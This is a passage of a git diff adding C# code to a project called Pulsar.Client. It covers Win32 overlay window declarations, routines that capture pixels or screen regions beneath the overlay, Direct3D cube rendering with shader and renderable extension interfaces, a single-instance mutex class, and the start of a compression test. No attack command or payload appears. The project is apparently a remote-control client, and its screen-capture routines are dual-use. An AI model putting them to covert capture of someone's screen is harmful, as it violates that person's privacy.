dwNewLong); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetWindowPos(IntPtr hWnd, int hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + [DllImport("user32.dll")] + public static extern IntPtr DefWindowProc(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr CreateWindowEx(uint dwExStyle, string lpClassName, string lpWindowName, uint dwStyle, int X, int Y, int nWidth, int nHeight, IntPtr hWndParent, IntPtr hMenu, IntPtr hInstance, IntPtr lpParam); + [DllImport("user32.dll")] + public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool RegisterClass(ref WNDCLASS lpWndClass); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool DestroyWindow(IntPtr hWnd); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetLayeredWindowAttributes(IntPtr hwnd, uint crKey, byte bAlpha, uint dwFlags); + [DllImport("gdi32.dll", SetLastError = true)] + public static extern IntPtr GetStockObject(int fnObject); + [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); + } + /// + /// Gets data about the pixel (color etc.) from behind the overlay at specific coordinates + /// + /// X coordinate on the screen + /// Y coordinate on the screen + /// Monitor index (defaults to primary monitor) + /// Pixel data including color and position + /// + /// This method captures a single pixel from the screen beneath the overlay. + /// It uses GDI+ to take a screenshot of a 1x1 area at the specified coordinates. + /// + /// Example: + /// + /// PixelData pixel = overlay.GetPixelCoords(100, 100); + /// Console.WriteLine($"Pixel color: R={pixel.Color.R}, G={pixel.Color.G}, B={pixel.Color.B}"); + /// Console.WriteLine($"Pixel position: X={pixel.X}, Y={pixel.Y}"); + /// + /// + public PixelData GetPixelCoords(int x, int y, int monitorIndex = 0) + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + int screenX = bounds.Left + x; + int screenY = bounds.Top + y; + if (x < 0 || x >= bounds.Width || y < 0 || y >= bounds.Height) + { + return new PixelData(Color.Black, x, y, monitorIndex); + } + try + { + using (Bitmap bitmap = new Bitmap(1, 1, System.Drawing.Imaging.PixelFormat.Format32bppArgb)) + { + using (Graphics g = Graphics.FromImage(bitmap)) + { + g.CopyFromScreen(screenX, screenY, 0, 0, new Size(1, 1), CopyPixelOperation.SourceCopy); + } + Color pixelColor = bitmap.GetPixel(0, 0); + return new PixelData(pixelColor, x, y, monitorIndex); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing pixel: {ex.Message}"); + return new PixelData(Color.Black, x, y, monitorIndex); + } + } + /// + /// Gets data about a random pixel from the screen behind the overlay + /// + /// Monitor index (defaults to primary monitor) + /// Pixel data including color and random position + /// + /// This method selects random coordinates within the specified monitor's bounds + /// and returns the pixel data at that location. Useful for creating custom effects. + /// + /// Example: + /// + /// PixelData randomPixel = overlay.GetRandomPixel(); + /// Console.WriteLine($"Random pixel at X={randomPixel.X}, Y={randomPixel.Y} has color {randomPixel.Color}"); + /// + /// + public PixelData GetRandomPixel(int monitorIndex = 0) + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + Random random = new Random(); + int x = random.Next(0, bounds.Width); + int y = random.Next(0, bounds.Height); + return GetPixelCoords(x, y, monitorIndex); + } + /// + /// Captures a region of the screen + /// + /// X coordinate + /// Y coordinate + /// Width of the region + /// Height of the region + /// Monitor index + /// Bitmap containing the captured region + /// + /// This method captures a rectangular region of the screen from beneath the overlay and returns it as a Bitmap object. + /// Useful for creating effects. + /// + /// Example: + /// + /// // Capture a 200x150 region starting at coordinates (50, 50) + /// Bitmap screenshot = overlay.CaptureScreenRegion(50, 50, 200, 150); + /// + /// // Save the screenshot to a file + /// screenshot.Save("screenshot.png"); + /// + /// // Don't forget to dispose when done + /// screenshot.Dispose(); + /// + /// + public Bitmap CaptureScreenRegion(int x, int y, int width, int height, int monitorIndex = 0) + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + int screenX = bounds.Left + x; + int screenY = bounds.Top + y; + width = Math.Max(1, width); + height = Math.Max(1, height); + if (x < 0) { width += x; x = 0; } + if (y < 0) { height += y; y = 0; } + if (x + width > bounds.Width) width = bounds.Width - x; + if (y + height > bounds.Height) height = bounds.Height - y; + if (width <= 0 || height <= 0) + { + return new Bitmap(1, 1); + } + try + { + Bitmap bitmap = new Bitmap(width, height, System.Drawing.Imaging.PixelFormat.Format32bppArgb); + using (Graphics g = Graphics.FromImage(bitmap)) + { + g.CopyFromScreen(screenX, screenY, 0, 0, new Size(width, height), CopyPixelOperation.SourceCopy); + } + return bitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing screen region: {ex.Message}"); + return new Bitmap(1, 1); + } + } + private class Cube3DData + { + public int Id { get; set; } + public Vector3 Position { get; set; } + public Vector3 Rotation { get; set; } + public Vector3 Scale { get; set; } + public Color4 FrontColor { get; set; } + public Color4 BackColor { get; set; } + public Color4 TopColor { get; set; } + public Color4 BottomColor { get; set; } + public Color4 LeftColor { get; set; } + public Color4 RightColor { get; set; } + public bool IsMoving { get; set; } + public Vector3 TargetPosition { get; set; } + public float MoveSpeed { get; set; } + public bool IsRotating { get; set; } + public Vector3 TargetRotation { get; set; } + public float RotationSpeed { get; set; } + public Buffer VertexBuffer { get; set; } + public Buffer IndexBuffer { get; set; } + public int VertexCount { get; set; } + public int IndexCount { get; set; } + public Matrix WorldMatrix { get; private set; } + public Cube3DData(int id, Color4 frontColor, Color4 backColor, Color4 topColor, + Color4 bottomColor, Color4 leftColor, Color4 rightColor, + float x, float y, float z, float width, float height, float depth = 0) + { + Id = id; + Position = new Vector3(x, y, z); + Rotation = Vector3.Zero; + Scale = new Vector3(width, height, depth > 0 ? depth : width); + FrontColor = frontColor; + BackColor = backColor; + TopColor = topColor; + BottomColor = bottomColor; + LeftColor = leftColor; + RightColor = rightColor; + IsMoving = false; + IsRotating = false; + TargetPosition = Position; + TargetRotation = Rotation; + MoveSpeed = 5.0f; + RotationSpeed = 3.0f; + UpdateWorldMatrix(); + } + public void UpdateWorldMatrix() + { + Matrix rotationX = Matrix.RotationX(Rotation.X); + Matrix rotationY = Matrix.RotationY(Rotation.Y); + Matrix rotationZ = Matrix.RotationZ(Rotation.Z); + Matrix rotationMatrix = rotationX * rotationY * rotationZ; + Matrix scaleMatrix = Matrix.Scaling(Scale); + Matrix translationMatrix = Matrix.Translation(Position); + WorldMatrix = scaleMatrix * rotationMatrix * translationMatrix; + } + } + private void UpdateAnimatedCubes() + { + float deltaTime = 0.016f; + foreach (var monitorCubes in _cubes) + { + bool cubeUpdated = false; + foreach (var cube in monitorCubes.Value.Values.ToList()) + { + bool updated = false; + if (cube.IsMoving) + { + Vector3 direction = cube.TargetPosition - cube.Position; + float distance = direction.Length(); + if (distance > 0.01f) + { + direction.Normalize(); + float moveAmount = cube.MoveSpeed * deltaTime; + if (distance <= moveAmount) + { + cube.Position = cube.TargetPosition; + cube.IsMoving = false; + } + else + { + cube.Position += direction * moveAmount; + } + updated = true; + } + else + { + cube.IsMoving = false; + } + } + if (cube.IsRotating) + { + Vector3 rotationDelta = cube.TargetRotation - cube.Rotation; + float rotationDistance = rotationDelta.Length(); + if (rotationDistance > 0.01f) + { + float rotationAmount = cube.RotationSpeed * deltaTime; + if (rotationDistance <= rotationAmount) + { + cube.Rotation = cube.TargetRotation; + cube.IsRotating = false; + } + else + { + Vector3 rotationDir = new Vector3( + rotationDelta.X != 0 ? Math.Sign(rotationDelta.X) : 0, + rotationDelta.Y != 0 ? Math.Sign(rotationDelta.Y) : 0, + rotationDelta.Z != 0 ? Math.Sign(rotationDelta.Z) : 0 + ); + cube.Rotation += rotationDir * rotationAmount; + } + updated = true; + } + else + { + cube.IsRotating = false; + } + } + if (updated) + { + cube.UpdateWorldMatrix(); + cubeUpdated = true; + } + } + if (cubeUpdated) + { + _needsUpdate[monitorCubes.Key] = true; + } + } + } + /// + /// Renders a 3D cube on screen with the specified parameters + /// + /// Unique identifier for the cube + /// Color for the front face + /// Color for the back face + /// Color for the top face + /// Color for the bottom face + /// Color for the left face + /// Color for the right face + /// X position in screen coordinates + /// Y position in screen coordinates + /// Z position (depth) + /// Width of the cube + /// Height of the cube + /// Monitor index to display the cube on + /// + /// Creates a 3D cube with customizable colors for each face. The cube is positioned at the specified coordinates + /// with the given dimensions. Each cube has a unique ID that can be used to manipulate it later. + /// + /// Example: + /// + /// // Create a red/blue/green/yellow/purple/orange cube at position (100, 100) with size 50x50 + /// overlay.Render3DCube(1, Color.Red.ToArgb(), Color.Blue.ToArgb(), Color.Green.ToArgb(), + /// Color.Yellow.ToArgb(), Color.Purple.ToArgb(), Color.Orange.ToArgb(), + /// 100, 100, 0, 50, 50); + /// + /// + public void Render3DCube(int id, int frontColor, int backColor, int topColor, int bottomColor, + int leftColor, int rightColor, float x, float y, float z, + float width, float height, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + ShowDrawingOverlay(monitorIndex, bounds); + if (!_vertex3DShaders.ContainsKey(monitorIndex)) + { + Setup3DResources(monitorIndex); + } + if (!_cubes.ContainsKey(monitorIndex)) + { + _cubes[monitorIndex] = new Dictionary(); + } + if (_cubes[monitorIndex].ContainsKey(id)) + { + Remove3DCube(id, monitorIndex); + } + float ndcX = (x / (float)bounds.Width) * 2.0f - 1.0f; + float ndcY = 1.0f - (y / (float)bounds.Height) * 2.0f; + float ndcWidth = width / (float)bounds.Width * 2.0f; + float ndcHeight = height / (float)bounds.Height * 2.0f; + Color4 front = ARGBToColor4(frontColor); + Color4 back = ARGBToColor4(backColor); + Color4 top = ARGBToColor4(topColor); + Color4 bottom = ARGBToColor4(bottomColor); + Color4 left = ARGBToColor4(leftColor); + Color4 right = ARGBToColor4(rightColor); + var cube = new Cube3DData(id, front, back, top, bottom, left, right, + ndcX, ndcY, z, ndcWidth, ndcHeight); + CreateCubeMesh(_devices[monitorIndex], cube); + _cubes[monitorIndex][id] = cube; + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Render3DCube error: {ex.Message}"); + } + }); + } + /// + /// Moves a 3D cube to the specified position + /// + /// ID of the cube to move + /// If true, animate the movement; otherwise move immediately + /// X position in screen coordinates + /// Y position in screen coordinates + /// Z position (depth) + /// Monitor index the cube is on + /// + /// Moves an existing 3D cube to a new position. If smooth is true, the cube will + /// animate smoothly to the new position over several frames. If false, the cube + /// will instantly teleport to the new position. + /// + /// Example: + /// + /// // Move cube with ID 1 smoothly to position (200, 200) + /// overlay.Move3DCube(1, true, 200, 200, 0); + /// + /// // Move cube with ID 1 instantly to position (300, 300) + /// overlay.Move3DCube(1, false, 300, 300, 0); + /// + /// + public void Move3DCube(int id, bool smooth, float x, float y, float z, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_cubes.ContainsKey(monitorIndex) || !_cubes[monitorIndex].ContainsKey(id)) + { + Debug.WriteLine($"Cube with ID {id} not found on monitor {monitorIndex}"); + return; + } + var cube = _cubes[monitorIndex][id]; + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + float ndcX = (x / (float)bounds.Width) * 2.0f - 1.0f; + float ndcY = 1.0f - (y / (float)bounds.Height) * 2.0f; + if (smooth) + { + cube.TargetPosition = new Vector3(ndcX, ndcY, z); + cube.IsMoving = true; + } + else + { + cube.Position = new Vector3(ndcX, ndcY, z); + cube.UpdateWorldMatrix(); + } + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Move3DCube error: {ex.Message}"); + } + }); + } + /// + /// Rotates a 3D cube to the specified orientation + /// + /// ID of the cube to rotate + /// If true, animate the rotation; otherwise rotate immediately + /// X rotation in radians + /// Y rotation in radians + /// Z rotation in radians + /// Monitor index the cube is on + /// + /// Rotates an existing 3D cube to a new orientation. If smooth is true, the cube will + /// animate smoothly to the new orientation over several frames. If false, the cube + /// will instantly rotate to the new orientation. + /// + /// Example: + /// + /// // Rotate cube with ID 1 smoothly to a new orientation + /// overlay.Rotate3DCube(1, true, 0.5f, 1.0f, 0.25f); + /// + /// // Rotate cube with ID 1 instantly to a specific orientation + /// overlay.Rotate3DCube(1, false, 0, (float)Math.PI/2, 0); + /// + /// + public void Rotate3DCube(int id, bool smooth, float x, float y, float z, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_cubes.ContainsKey(monitorIndex) || !_cubes[monitorIndex].ContainsKey(id)) + { + Debug.WriteLine($"Cube with ID {id} not found on monitor {monitorIndex}"); + return; + } + var cube = _cubes[monitorIndex][id]; + if (smooth) + { + cube.TargetRotation = new Vector3(x, y, z); + cube.IsRotating = true; + } + else + { + cube.Rotation = new Vector3(x, y, z); + cube.UpdateWorldMatrix(); + } + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Rotate3DCube error: {ex.Message}"); + } + }); + } + /// + /// Removes a 3D cube from the overlay + /// + /// ID of the cube to remove + /// Monitor index the cube is on + /// + /// Completely removes a 3D cube from the overlay and disposes its resources. + /// + /// Example: + /// + /// // Remove cube with ID 1 + /// overlay.Remove3DCube(1); + /// + /// + public void Remove3DCube(int id, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_cubes.ContainsKey(monitorIndex) || !_cubes[monitorIndex].ContainsKey(id)) + { + return; + } + var cube = _cubes[monitorIndex][id]; + if (cube.VertexBuffer != null) + { + cube.VertexBuffer.Dispose(); + } + if (cube.IndexBuffer != null) + { + cube.IndexBuffer.Dispose(); + } + _cubes[monitorIndex].Remove(id); + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Remove3DCube error: {ex.Message}"); + } + }); + } + /// + /// Converts an ARGB color integer to a Direct3D Color4 + /// + private Color4 ARGBToColor4(int colorArgb) + { + Color argbColor = Color.FromArgb(colorArgb); + return new Color4( + argbColor.R / 255.0f, + argbColor.G / 255.0f, + argbColor.B / 255.0f, + argbColor.A / 255.0f + ); + } + /// + /// Interface for custom shader implementations + /// + /// + /// Use this interface to create custom shaders that can be registered with the ScreenOverlay. + /// Custom shaders allow you to apply custom rendering effects to the overlay. + /// + /// Implementation example: + /// + /// public class MyCustomShader : ICustomShader + /// { + /// private string _id = "MyShader"; + /// private Device _device; + /// private VertexShader _vertexShader; + /// private PixelShader _pixelShader; + /// private InputLayout _inputLayout; + /// + /// public string ShaderId => _id; + /// + /// public bool Initialize(Device device) + /// { + /// _device = device; + /// + /// // Compile shaders + /// using (var vertexShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + /// vertexShaderCode, "main", "vs_4_0", SharpDX.D3DCompiler.ShaderFlags.Debug)) + /// { + /// _vertexShader = new VertexShader(device, vertexShaderBytecode); + /// + /// // Create input layout + /// _inputLayout = new InputLayout(device, vertexShaderBytecode, inputElements); + /// } + /// + /// using (var pixelShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + /// pixelShaderCode, "main", "ps_4_0", SharpDX.D3DCompiler.ShaderFlags.Debug)) + /// { + /// _pixelShader = new PixelShader(device, pixelShaderBytecode); + /// } + /// + /// return true; + /// } + /// + /// public void Apply(DeviceContext context) + /// { + /// context.VertexShader.Set(_vertexShader); + /// context.PixelShader.Set(_pixelShader); + /// context.InputAssembler.InputLayout = _inputLayout; + /// } + /// + /// public void Dispose() + /// { + /// _vertexShader?.Dispose(); + /// _pixelShader?.Dispose(); + /// _inputLayout?.Dispose(); + /// } + /// } + /// + /// + public interface ICustomShader : IDisposable + { + /// + /// Initializes the shader with a device + /// + /// The Direct3D device + /// True if initialization succeeded + bool Initialize(Device device); + /// + /// Applies the shader to the rendering pipeline + /// + /// The Direct3D device context + void Apply(DeviceContext context); + /// + /// Gets the unique identifier for this shader + /// + string ShaderId { get; } + } + /// + /// Interface for custom renderable objects + /// + /// + /// Use this interface to create custom 3D objects that can be rendered by the ScreenOverlay. + /// This allows you to extend the ScreenOverlay with your own rendering logic. + /// + /// Implementation example: + /// + /// public class MyCube : ICustomRenderable + /// { + /// private int _id; + /// private int _monitorIndex; + /// private Vector3 _position; + /// private Vector3 _rotation; + /// private Vector3 _scale; + /// private Color4 _color; + /// + /// private Buffer _vertexBuffer; + /// private Buffer _indexBuffer; + /// private Buffer _constantBuffer; + /// private int _vertexCount; + /// private int _indexCount; + /// + /// public MyCube(int id, int monitorIndex, Vector3 position, Color4 color) + /// { + /// _id = id; + /// _monitorIndex = monitorIndex; + /// _position = position; + /// _color = color; + /// _rotation = Vector3.Zero; + /// _scale = new Vector3(1, 1, 1); + /// } + /// + /// public int RenderableId => _id; + /// public bool NeedsUpdate { get; set; } = true; + /// public int MonitorIndex => _monitorIndex; + /// + /// public bool Initialize(Device device) + /// { + /// // Create vertex and index buffers + /// // Create geometry + /// // Create constant buffer for transformations + /// return true; + /// } + /// + /// public void Render(DeviceContext context, Matrix viewMatrix, Matrix projectionMatrix) + /// { + /// // Create world matrix from position, rotation, scale + /// Matrix worldMatrix = Matrix.Scaling(_scale) * + /// Matrix.RotationYawPitchRoll(_rotation.Y, _rotation.X, _rotation.Z) * + /// Matrix.Translation(_position); + /// + /// // Update constant buffer with matrices + /// // Set vertex and index buffers + /// // Draw the object + /// context.DrawIndexed(_indexCount, 0, 0); + /// } + /// + /// public void Dispose() + /// { + /// _vertexBuffer?.Dispose(); + /// _indexBuffer?.Dispose(); + /// _constantBuffer?.Dispose(); + /// } + /// } + /// + /// + /// Register your renderable with the ScreenOverlay: + /// + /// var cube = new MyCube(1, 0, new Vector3(0, 0, 0), new Color4(1, 0, 0, 1)); + /// overlay.RegisterCustomRenderable(cube); + /// + /// + public interface ICustomRenderable : IDisposable + { + /// + /// Initializes resources for the renderable object + /// + /// The Direct3D device + /// True if initialization succeeded + bool Initialize(Device device); + /// + /// Renders the object using the specified context + /// + /// The Direct3D device context + /// The view matrix + /// The projection matrix + void Render(DeviceContext context, Matrix viewMatrix, Matrix projectionMatrix); + /// + /// Gets the unique identifier for this renderable + /// + int RenderableId { get; } + /// + /// Gets or sets whether this object needs to be updated + /// + bool NeedsUpdate { get; set; } + /// + /// Gets the monitor index this renderable belongs to + /// + int MonitorIndex { get; } + } + /// + /// Registers a custom shader for use with this overlay + /// + /// The custom shader to register + /// The monitor index to register the shader with + /// True if registration succeeded + /// + /// Register a custom shader that implements the ICustomShader interface. + /// Custom shaders allow you to apply custom rendering effects to the overlay. + /// + /// Example: + /// + /// // Create and register a custom shader + /// var shader = new MyCustomShader(); + /// bool success = overlay.RegisterCustomShader(shader); + /// + /// + public bool RegisterCustomShader(ICustomShader shader, int monitorIndex = 0) + { + return QueueDrawingActionWithResult(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + ShowDrawingOverlay(monitorIndex, bounds); + if (!_customShaders.ContainsKey(monitorIndex)) + { + _customShaders[monitorIndex] = new Dictionary(); + } + if (_customShaders[monitorIndex].ContainsKey(shader.ShaderId)) + { + _customShaders[monitorIndex][shader.ShaderId].Dispose(); + } + if (!shader.Initialize(_devices[monitorIndex])) + { + Debug.WriteLine($"Failed to initialize custom shader {shader.ShaderId}"); + return false; + } + _customShaders[monitorIndex][shader.ShaderId] = shader; + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"RegisterCustomShader error: {ex.Message}"); + return false; + } + }); + } + /// + /// Unregisters a custom shader + /// + /// The ID of the shader to unregister + /// The monitor index the shader is registered with + /// True if unregistration succeeded + /// + /// Removes a previously registered custom shader and disposes its resources. + /// + /// Example: + /// + /// // Unregister a shader with ID "MyShader" + /// overlay.UnregisterCustomShader("MyShader"); + /// + /// + public bool UnregisterCustomShader(string shaderId, int monitorIndex = 0) + { + return QueueDrawingActionWithResult(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_customShaders.ContainsKey(monitorIndex) || + !_customShaders[monitorIndex].ContainsKey(shaderId)) + { + return false; + } + _customShaders[monitorIndex][shaderId].Dispose(); + _customShaders[monitorIndex].Remove(shaderId); + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"UnregisterCustomShader error: {ex.Message}"); + return false; + } + }); + } + /// + /// Registers a custom renderable object for rendering with this overlay + /// + /// The custom renderable to register + /// True if registration succeeded + /// + /// Register a custom renderable object that implements the ICustomRenderable interface. + /// This allows you to create your own 3D objects and have them rendered by the overlay. + /// + /// Example: + /// + /// // Create and register a custom 3D object + /// var mySphere = new CustomSphere(1, 0, new Vector3(0, 0, 0), 1.0f); + /// bool success = overlay.RegisterCustomRenderable(mySphere); + /// + /// + public bool RegisterCustomRenderable(ICustomRenderable renderable) + { + return QueueDrawingActionWithResult(() => + { + try + { + int monitorIndex = renderable.MonitorIndex; + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + ShowDrawingOverlay(monitorIndex, bounds); + if (!_customRenderables.ContainsKey(monitorIndex)) + { + _customRenderables[monitorIndex] = new Dictionary(); + } + if (_customRenderables[monitorIndex].ContainsKey(renderable.RenderableId)) + { + _customRenderables[monitorIndex][renderable.RenderableId].Dispose(); + } + if (!renderable.Initialize(_devices[monitorIndex])) + { + Debug.WriteLine($"Failed to initialize custom renderable {renderable.RenderableId}"); + return false; + } + _customRenderables[monitorIndex][renderable.RenderableId] = renderable; + _needsUpdate[monitorIndex] = true; + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"RegisterCustomRenderable error: {ex.Message}"); + return false; + } + }); + } + /// + /// Unregisters a custom renderable + /// + /// The ID of the renderable to unregister + /// The monitor index the renderable is registered with + /// True if unregistration succeeded + /// + /// Removes a previously registered custom renderable object and disposes its resources. + /// + /// Example: + /// + /// // Unregister a renderable with ID 1 + /// overlay.UnregisterCustomRenderable(1); + /// + /// + public bool UnregisterCustomRenderable(int renderableId, int monitorIndex = 0) + { + return QueueDrawingActionWithResult(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_customRenderables.ContainsKey(monitorIndex) || + !_customRenderables[monitorIndex].ContainsKey(renderableId)) + { + return false; + } + _customRenderables[monitorIndex][renderableId].Dispose(); + _customRenderables[monitorIndex].Remove(renderableId); + _needsUpdate[monitorIndex] = true; + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"UnregisterCustomRenderable error: {ex.Message}"); + return false; + } + }); + } + /// + /// Updates a custom renderable to trigger a re-render + /// + /// The ID of the renderable to update + /// The monitor index the renderable is on + /// + /// Marks a custom renderable as needing an update, which will trigger a re-render + /// on the next frame. Call this after modifying properties of your custom renderable + /// to ensure the changes are displayed. + /// + /// Example: + /// + /// // Update position of custom sphere in our code + /// mySphere.Position = new Vector3(100, 100, 0); + /// + /// // Tell the overlay to update the rendering of this object + /// overlay.UpdateCustomRenderable(mySphere.RenderableId); + /// + /// + public void UpdateCustomRenderable(int renderableId, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_customRenderables.ContainsKey(monitorIndex) || + !_customRenderables[monitorIndex].ContainsKey(renderableId)) + { + return; + } + _customRenderables[monitorIndex][renderableId].NeedsUpdate = true; + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"UpdateCustomRenderable error: {ex.Message}"); + } + }); + } + /// + /// Gets a custom shader by ID + /// + /// The ID of the shader to retrieve + /// The monitor index the shader is registered with + /// The custom shader, or null if not found + /// + /// Retrieves a previously registered custom shader by its ID. + /// + /// Example: + /// + /// // Get a registered shader + /// ICustomShader shader = overlay.GetCustomShader("MyShader"); + /// if (shader != null) + /// { + /// // Use shader... + /// } + /// + /// + public ICustomShader GetCustomShader(string shaderId, int monitorIndex = 0) + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_customShaders.ContainsKey(monitorIndex) || + !_customShaders[monitorIndex].ContainsKey(shaderId)) + { + return null; + } + return _customShaders[monitorIndex][shaderId]; + } + catch (Exception ex) + { + Debug.WriteLine($"GetCustomShader error: {ex.Message}"); + return null; + } + } + /// + /// Queues a drawing action that returns a result + /// + private T QueueDrawingActionWithResult(Func action) + { + if (action == null) + return default; + ManualResetEvent waitEvent = new ManualResetEvent(false); + T result = default; + Exception exception = null; + QueueDrawingAction(() => + { + try + { + result = action(); + } + catch (Exception ex) + { + exception = ex; + } + finally + { + waitEvent.Set(); + } + }); + waitEvent.WaitOne(); + if (exception != null) + { + Debug.WriteLine($"QueueDrawingActionWithResult error: {exception.Message}"); + } + return result; + } + /// + /// Gets the Direct3D device for a specific monitor + /// + /// The monitor index + /// The Direct3D device, or null if not available + /// + /// Provides access to the Direct3D device for a specific monitor. + /// This is useful for advanced rendering scenarios or when creating + /// custom renderables that need direct access to the device. + /// + /// Example: + /// + /// // Get the device for the primary monitor + /// Device device = overlay.GetDeviceForMonitor(0); + /// if (device != null) + /// { + /// // Use device for advanced DirectX operations + /// } + /// + /// + public Device GetDeviceForMonitor(int monitorIndex = 0) + { + return QueueDrawingActionWithResult(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_devices.ContainsKey(monitorIndex)) + { + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + ShowDrawingOverlay(monitorIndex, bounds); + } + if (_devices.TryGetValue(monitorIndex, out Device device)) + { + return device; + } + return null; + } + catch (Exception ex) + { + Debug.WriteLine($"GetDeviceForMonitor error: {ex.Message}"); + return null; + } + }); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Utilities/SingleInstanceMutex.cs b/Pulsar.Client/Utilities/SingleInstanceMutex.cs new file mode 100644 index 0000000..5091ea7 --- /dev/null +++ b/Pulsar.Client/Utilities/SingleInstanceMutex.cs @@ -0,0 +1,62 @@ +ο»Ώusing System; +using System.Threading; + +namespace Pulsar.Client.Utilities +{ + /// + /// A user-wide mutex that ensures that only one instance runs at a time. + /// + public class SingleInstanceMutex : IDisposable + { + /// + /// The mutex used for process synchronization. + /// + private readonly Mutex _appMutex; + + /// + /// Represents if the mutex was created on the system or it already existed. + /// + public bool CreatedNew { get; } + + /// + /// Determines if the instance is disposed and should not be used anymore. + /// + public bool IsDisposed { get; private set; } + + /// + /// Initializes a new instance of using the given mutex name. + /// + /// The name of the mutex. + public SingleInstanceMutex(string name) + { + _appMutex = new Mutex(false, $"Local\\{name}", out var createdNew); + CreatedNew = createdNew; + } + + /// + /// Releases all resources used by this . + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + /// + /// Releases the mutex object. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + _appMutex?.Dispose(); + } + + IsDisposed = true; + } + } +} diff --git a/Pulsar.Client/app.manifest b/Pulsar.Client/app.manifest new file mode 100644 index 0000000..bf4e01a --- /dev/null +++ b/Pulsar.Client/app.manifest @@ -0,0 +1,44 @@ +ο»Ώ + + + + + + + + + + + + + + + + + + + + + + + + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Common.Tests/.DS_Store b/Pulsar.Common.Tests/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..9e19c8dfa32f7abeec35676a29e77203ef1beb6c GIT binary patch literal 6148 zcmeHLK~4fO6#X4YAmDlfIdKBZ@K0%e27tj{qdcE^4X!nfiQ#GCLB`vKjU6ZbzN{q6CZLde7iTVeiulz96ePyHj)?;svyL*9_b_FW1qj z^EFHTQ6Oh?G}{KH76-%uabV*BpARt#V`8y1sE-a*`V|0JN4E~Nb#4L1+yP81mIl#- zP-ZI7OjY(3L)oKEndul$EWb2prjyb;V;#G*vTrC#?~eXh(@7-;r4|Ro0oQ?=`P$+9 ze;j`QcPGg=aX=jSR}QFpI!ODtB%50+7st6aM!7)YU|wlZPeEnVv2JiG=KmFRU@Yba VFtJz~L=QrK2xuFm5(j?OfiD9M*^U4J literal 0 HcmV?d00001 diff --git a/Pulsar.Common.Tests/Compression/JpgCompression.Tests.cs b/Pulsar.Common.Tests/Compression/JpgCompression.Tests.cs new file mode 100644 index 0000000..55a3bfe --- /dev/null +++ b/Pulsar.Common.Tests/Compression/JpgCompression.Tests.cs @@ -0,0 +1,24 @@ +ο»Ώusing Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Video.Compression; +using System; +using System.Drawing; + +namespace Pulsar.Common.Tests.Compression +{ + [TestClass] + public class JpgCompressionTests + { + [TestMethod, TestCategory("Compression")] + public void CompressionTest() + { + var quality = 